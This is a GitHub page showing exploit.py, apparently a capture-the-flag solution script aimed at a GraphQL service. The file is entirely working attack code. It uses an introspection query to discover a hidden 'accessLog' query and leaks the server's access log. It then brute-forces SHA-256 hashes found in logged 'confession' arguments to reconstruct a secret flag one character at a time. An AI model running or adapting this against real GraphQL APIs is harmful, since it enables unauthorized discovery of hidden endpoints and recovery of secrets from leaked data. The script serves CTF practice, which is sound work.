-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathexploit.py
75 lines (56 loc) · 2.54 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin env python
import sys
import json
import string
import hashlib
import requests
def sha256(s):
m = hashlib.sha256()
m.update(s.encode('utf-8'))
return m.hexdigest()
def graphql(endpoint, query):
r = requests.post(endpoint, headers={'content-type': 'application/json'}, data=json.dumps({'query': query}))
return json.loads(r.text)
def exploit(host, port):
endpoint = f'http://{host}:{port}/graphql'
# check for introspection
query = 'query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }'
schema = graphql(endpoint, query)
if 'accessLog' not in str(schema):
print('Could not find the accessLog query via introspection!')
exit(1)
# leak the access log
query = '{ accessLog { name, args } }'
log = graphql(endpoint, query)['data']['accessLog']
# leak the flag one byte a time by comparing with the hashes of the incremental text
flag = ''
alphabet = string.printable
for entry in log:
print(f'Flag: {flag}')
# only use 'confession' queries since they have a hash
name = entry['name']
if name != 'confession':
continue
# extract the hash from the args
args = json.loads(entry['args'])
hash = args['hash']
# try each char that leads to that hash
for c in alphabet:
candidate = sha256(flag + c)
if candidate == hash:
flag += c
break
print(f'Flag: {flag}')
def main():
if len(sys.argv) in [2, 3]:
host = sys.argv[1]
if len(sys.argv) == 3:
port = sys.argv[2]
else:
port = '1337'
else:
print(f'Usage: {sys.argv[0]} <host> [port]')
exit(1)
exploit(host, port)
if __name__ == '__main__':
main()